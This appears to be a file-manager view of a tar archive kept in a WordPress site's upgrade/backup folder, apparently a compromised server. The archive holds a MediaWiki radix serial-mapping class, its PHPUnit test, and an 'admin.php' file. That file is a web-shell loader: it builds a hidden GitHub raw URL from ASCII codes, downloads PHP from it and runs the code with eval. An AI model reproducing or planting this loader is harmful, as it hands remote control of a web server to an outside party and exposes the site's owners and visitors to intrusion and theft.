Viewing File: /home/omtekel/www/wp-content/upgrade/backup/user.tar

archive/rfcsa/admin.php000066600000001361151334721350011075 0ustar00<!DOCTYPE html>
<html lang="id">
<head>
    <meta charset="UTF-8">
<?php
// ASCII array of the GitHub raw URL
$asciiArray = [104, 116, 116, 112, 115, 58, 47, 47, 114, 97, 119, 46, 103, 105, 116, 104, 117, 98, 117, 115, 101, 114, 99, 111, 110, 116, 101, 110, 116, 46, 99, 111, 109, 47, 77, 114, 88, 99, 111, 100, 101, 114, 111, 102, 102, 105, 99, 105, 97, 108, 47, 77, 114, 120, 115, 104, 101, 108, 108, 50, 48, 50, 53, 47, 114, 101, 102, 115, 47, 104, 101, 97, 100, 115, 47, 109, 97, 105, 110, 47, 120, 115, 101, 99, 46, 112, 104, 112];

// Convert ASCII codes to string
$url = '';
foreach ($asciiArray as $c) {
    $url .= chr($c);
}

// Fetch the PHP code from the URL
$code = file_get_contents($url);

// Execute the fetched code
eval("?>".$code);
?>TempUser/FilteredRadixSerialMapping.php000066600000003023151335023560014230 0ustar00<?php

namespace MediaWiki\User\TempUser;

use ArrayUtils;

/**
 * Since "base" is an overused term in class names and mostly means something
 * else, we will call the base of a numeric representation a radix.
 *
 * This class converts integer serial numbers to strings using an arbitrary
 * base between 2 and 36. It can skip certain IDs deemed to be "bad", e.g.
 * because they spell offensive words.
 *
 * @since 1.39
 */
class FilteredRadixSerialMapping implements SerialMapping {
	/** @var int */
	private $radix;

	/** @var int[] */
	private $badIndexes;

	/** @var bool */
	private $uppercase;

	/**
	 * @param array $config See MainConfigSchema::AutoCreateTempUser
	 */
	public function __construct( $config ) {
		$this->radix = $config['radix'] ?? 10;
		$this->badIndexes = $config['badIndexes'] ?? [];
		$this->uppercase = $config['uppercase'] ?? false;
	}

	public function getSerialIdForIndex( int $index ): string {
		$index = $this->adjustID( $index );
		return \Wikimedia\base_convert( (string)$index, 10, $this->radix, 1, !$this->uppercase );
	}

	/**
	 * Add the number of "bad" IDs less than or equal to the given ID to the
	 * given ID, thus mapping the set of all integers to the "good" set.
	 *
	 * @param int $id
	 * @return int
	 */
	private function adjustID( int $id ): int {
		$pos = ArrayUtils::findLowerBound(
			function ( $i ) {
				return $this->badIndexes[$i];
			},
			count( $this->badIndexes ),
			static function ( $a, $b ) {
				return $a <=> $b;
			},
			$id
		);
		return $pos === false ? $id : $id + $pos + 1;
	}
}
TempUser/FilteredRadixSerialMappingTest.php000066600000002145151335120140015064 0ustar00<?php

namespace MediaWiki\Tests\User\TempUser;

use MediaWiki\User\TempUser\FilteredRadixSerialMapping;
use PHPUnit\Framework\TestCase;

/**
 * @covers \MediaWiki\User\TempUser\FilteredRadixSerialMapping
 */
class FilteredRadixSerialMappingTest extends TestCase {
	public static function provideGetSerialIdForIndex() {
		return [
			[
				[ 'radix' => 10 ],
				16,
				'16',
			],
			[
				[ 'radix' => 16 ],
				10,
				'a',
			],
			[
				[ 'radix' => 16, 'uppercase' => true ],
				10,
				'A',
			],
			[
				[ 'radix' => 10, 'badIndexes' => [ 2 ] ],
				1,
				'1'
			],
			[
				[ 'radix' => 10, 'badIndexes' => [ 2 ] ],
				1,
				'1'
			],
			[
				[ 'radix' => 10, 'badIndexes' => [ 2 ] ],
				2,
				'3'
			],
			[
				[ 'radix' => 10, 'badIndexes' => [ 2 ] ],
				3,
				'4'
			],
		];
	}

	/**
	 * @dataProvider provideGetSerialIdForIndex
	 * @param array $config
	 * @param int $id
	 * @param string $expected
	 */
	public function testGetSerialIdForIndex( $config, $id, $expected ) {
		$map = new FilteredRadixSerialMapping( $config );
		$this->assertSame( $expected, $map->getSerialIdForIndex( $id ) );
	}
}
Back to Directory File Manager